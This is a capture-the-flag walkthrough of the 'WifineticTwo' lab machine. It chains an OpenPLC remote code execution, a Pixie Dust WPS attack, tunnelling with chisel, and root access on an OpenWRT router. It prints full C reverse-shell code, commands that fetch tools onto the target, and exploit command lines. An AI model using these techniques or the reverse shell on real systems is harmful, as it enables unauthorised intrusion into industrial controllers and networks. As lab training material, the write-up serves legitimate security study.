Wifinetic Two
Wifinetic Two
Wifinetic Two
Difficulty: Medium
Classification: Official
Synopsis
WifineticTwo is a medium-difficulty Linux machine that features OpenPLC running on port 8080,
vulnerable to Remote Code Execution through the manual exploitation of CVE-2021-31630 . After
obtaining an initial foothold on the machine, a WPS attack is performed to acquire the Wi-Fi
password for an Access Point (AP). This access allows the attacker to target the router running
OpenWRT and gain a root shell via its web interface.
Skills Required
Linux Enumeration
Skills Learned
Linux Networking
Tunneling
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.7 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.7
Nmap reveals SSH and a Werkzeug web server running on TCP ports 22 and 8080 , respectively.
Foothold
Browsing to port 8080 , the observed service appears to be the OpenPLC Runtime Web Server .
Currently, we lack the means to access the portal; however, it is worthwhile to explore the
possibility of default credentials set during installation.
Securing credentials for this portal is notably straightforward; they are identified as
openplc:openplc and indeed allow us to log into the dashboard:
An available exploit for authenticated remote code execution can be sourced from exploit-db. Let
us download this exploit and execute it against the OpenPLC installation.
Executing the script provides examples of its usage. Since it allows for direct exploitation, we start
a Netcat listener on port 4444 to catch the shell:
nc -nlvp 4444
We proceed to run the script with specified credentials, alongside configuring our listening IP
address and port for the reverse shell.
python3 openplc_exploit.py -u http://10.10.11.7:8080 -l openplc -p openplc -i
10.10.14.5 -r 4444
It appears that the exploit execution has encountered failure. We revisit the OpenPLC
environment to scrutinize the impact of the exploit and identify the point at which it encountered
issues.
Looking at the Programs tab, we see the program.st file that was created by our exploitation
script:
To further investigate, we will manually attempt to initiate the program. This can be accomplished
by selecting the file name and selecting the "Launch program" option.
The app attempts to compile our program, but returns errors:
Optimizing ST program...
Couldn't open file "./st_files/681871.st"
Generating C files...
Error opening main file ./st_files/681871.st: No such file or directory
Error generating C files
Compilation finished with errors!
Since this vulnerability is based on compiling and running malicious code via the app's Hardware
Layer Code Box component, we can try manually exploiting it instead. We navigate to the
Hardware tab and click Restore Original Code to revert to the working driver.
Next, we look up the code for a C reverse shell; we make use of this repository's code:
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
int main()
{
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
inet_pton(AF_INET, IP, &(server_addr.sin_addr));
connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("/bin/sh", 0, 0);
close(sockfd);
return 0;
}
All that is left to do now is to transfer this code into the Hardware code editor. We first copy the
necessary headers to the top of the file, below the #include "ladder.h" line:
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#define IP "10.10.14.5"
#define PORT 4444
We then scroll down to the initCustomLayer function and paste in the remaining code, leaving
the rest of the file untouched:
void initCustomLayer()
{
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
inet_pton(AF_INET, IP, &(server_addr.sin_addr));
connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("/bin/sh", 0, 0);
close(sockfd);
return 0;
}
Note: if you get a 500 Internal Server Error after pressing the button, the application
might be trying to compile the PoC's program. To correct this, change the URL to point to
blank_program.st , instead:
http://10.10.11.7:8080/compile-program?file=blank_program.st#!
This time the code compiles successfully:
We navigate back to the dashboard and press the Start PLC button on the sidebar.
We get a callback on our Netcat listener:
nc -nlvp 4444
Lateral Movement
Enumeration
Since we are already root , the next stage likely entails pivoting to another machine or breaking
out of our container. Taking a look at /proc reveals that we are indeed in an LXC container:
container=lxccontainer_ttys=
However, no obvious breakouts or system exploits are found, so we see if we can pivot elsewhere
instead.
Taking a look at the box's network configuration, we see that it has a wlan0 interface:
root@attica02:/# ip a
<...SNIP...>
5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group
default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
Since this interface is a wireless interface, we can try to inspect it using tools like iw or iwconfig .
root@attica02:/# iwconfig
lo no wireless extensions.
As per the output of the iwconfig command, the wlan0 interface is currently in managed mode
and is not associated with any Access Point (AP), nor is it functioning as an AP itself. A comparable
result can be obtained by utilizing the iw command, as demonstrated below.
Interface wlan0
ifindex 5
wdev 0x200000001
addr 02:00:00:00:02:00
type managed
wiphy 2
txpower 20.00 dBm
Having identified the location of this interface, we can employ the iwlist command to scan for
Access Points (APs). If any APs are detected, the command will furnish us with the scan results,
essentially functioning akin to searching for a Wi-Fi network.
<...SNIP...>
wlan0 Scan completed :
Cell 01 - Address: 02:00:00:00:01:00
Channel:1
Frequency:2.412 GHz (Channel 1)
Quality=70/70 Signal level=-30 dBm
Encryption key:on
ESSID:"plcrouter"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
<...SNIP...>
IE: IEEE 802.11i/WPA2 Version 1
Group Cipher : CCMP
Pairwise Ciphers (1) : CCMP
Authentication Suites (1) : PSK
<...SNIP...>
Not connected.
Since we are not, our aim now is to obtain access to the AP and enumerate its network.
Attacking the AP
By using iw 's scan function, we see that WPS is enabled:
Since we are dealing with a WPS-protected AP, we can try performing something called a Pixie
Dust Attack.
Dominique Bongard discovered that some APs have weak ways of generating nonces
(known as E-S1 and E-S2) that are supposed to be secret. If we are able to figure
out what these nonces are, we can easily find the WPS PIN of an AP since the AP
must give it to us in a hash in order to prove that it also knowns the PIN, and
the client is not connecting to a rouge AP. These E-S1 and E-S2 are essentially
the "keys to unlock the lock box" containing the WPS pin. You can kind of think
of the whole thing as an algebra problem, if we know all but 1 variable in an
equation, we just have to solve for x. X in this case is the WPS pin (this is not
a perfect example but for beginners it should help
To perform the attack, we make use of the so-called OneShot script, which automates the attack
without having to manually change the interface to monitor mode. We download the Python script
to our machine:
wget https://raw.githubusercontent.com/kimocoder/OneShot/master/oneshot.py
root@attica02:/opt/PLC/OpenPLC_v3/webserver# cd /tmp
root@attica02:/tmp# curl -O 10.10.14.19:1234/oneshot.py
We run the script, specifying the wlan0 interface via the -i flag and initiating the Pixie Dust
attack via the -K flag:
root@attica02:/tmp# python3 oneshot.py -i wlan0 -K
The process has been successful, and we have obtained the password
NoWWEDoKnowWhaTisReal123! for the "plcrouter" Access Point (AP). We can now connect to the AP
and enumerate the new network.
We can establish a straightforward WPA Supplicant configuration, specifying the SSID as
"plcrouter" and the PSK as the password for the Access Point (AP).
Upon saving this configuration in a file, denoted as wpa.conf in this case, the connection can be
initialized by executing the wpa_supplicant command.
Upon executing wpa_supplicant on wlan0 with the -B flag, indicating background operation
due to the single shell availability, a verification of the connection status to the router (AP) can be
conducted by reviewing the output of the iwconfig command.
The results show that we have successfully connected to the router. Next, we'll use the iw
command to check the network connection details.
As indicated by the ifconfig output, there is currently no assigned IPv4 address. While IPv6 is
available, obtaining an IPv4 configuration would be more advantageous. To determine the
presence of a DHCP server on the Access Point (AP), we will employ the dhclient command in an
attempt to acquire a DHCP IP lease.
root@attica02:/tmp# dhclient
We get a File exists response, which might seem unhelpful at first, but re-running the
ifconfig command shows that we now have an IPv4 address:
Now that we have a foothold on the network, we aim to attack the router or other devices on the
network. We use arp to discover them:
root@attica02:/tmp# arp -a
To proceed, we will download a static nmap binary to the target and initiate a scan on the AP to
identify the open ports and their associated services.
wget https://github.com/andrew-d/static-
binaries/raw/master/binaries/linux/x86_64/nmap
Then, using our previously-established web server, we download it to the target machine:
After scanning the router IP, it is evident that ports 80 and 443 are open, a common
configuration for management routers. To access these services from our machine, we must
tunnel through our foothold.
For this purpose, we will make use of chisel. We download the binary to our machine:
wget
https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_am
d64.gz
gunzip chisel_1.9.1_linux_amd64.gz
mv chisel_1.9.1_linux_amd64 chisel
chmod +x chisel
We start the chisel server on our attacking machine, specifying port 8888 as a listener and using
the --reverse flag for reverse port forwarding:
On the target, we use the client mode of chisel to connect to the server, using SOCKS5
dynamic port forwarding:
tail -n 3 /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080
We can now access the router's ports and services using proxychains . To use the proxy in our
browser, we make use of the FoxyProxy extension (for Firefox ). We add the following
configuration:
Once added, we select the new profile and browse to the router's web server:
http://192.168.1.1
We land on a login page with the username root already filled out. Pressing Log in without
specifying a password successfully authenticates us and redirects to the application's dashboard.
The site's footer reveals that we are looking at an OpenWRT management panel:
Enumerating the dashboard, we navigate to the Administration tab, where we can configure
SSH keys:
We copy the public key and paste it into the web application:
cat id_rsa.pub
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQCY3FOg5kx6vyQNPmeGiPLVdga1Xfuv0MUYwc226aL7/PXobTdOw
AiRjTCPAO0S2e+6oDPyTK7GlAMOsFxQkDM7TEwhspaUHexWZc2bDrmDLvKv/mDNkSqYfRuFVJr9ltTan5
S1RzfBXpU0VnuSj6VWASdRb0P86KaXL7KZw0tXTSJiDeipxtacF1uVXi30W/f+txlDbFycbQuOPeM5WAq
J2RVqVo8r1iUIRw9u00KIbHlmrerPUChDYLlrLoSSsFaMeh83XnXaY4hl/mTiikJh8xQ6mmrd5Mjz+zHB
DEWohATfuXDOAlJwv2E5SqJk890bdYvW42ndXMColKE5fFa5MOxRvogKVW3nukY4BdsDilyFW8qfw25V1
iAkgmrbtRJhUBBc/yKQGCzKaw1bAulMom3zGCLlQuA/9TpS/Q5jv0hpqtSxd8zJswuRGWL/auN8L+Dy8a
PzLFHWp46EmgMX86SwCnri4Nqbro5WkTMw+lLBrw/P9nHKS1igDlWIkXk= c4rm3l0@htb-ogy8qvfcgk
Finally, we use the private key to SSH into the router, via proxychains :
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-----------------------------------------------------
OpenWrt 23.05.2, r23630-842932a63d
-----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------
root@ap:~# id
uid=0(root) gid=0(root)
We now have root access to the router. The final flag can be found at /root/root.txt .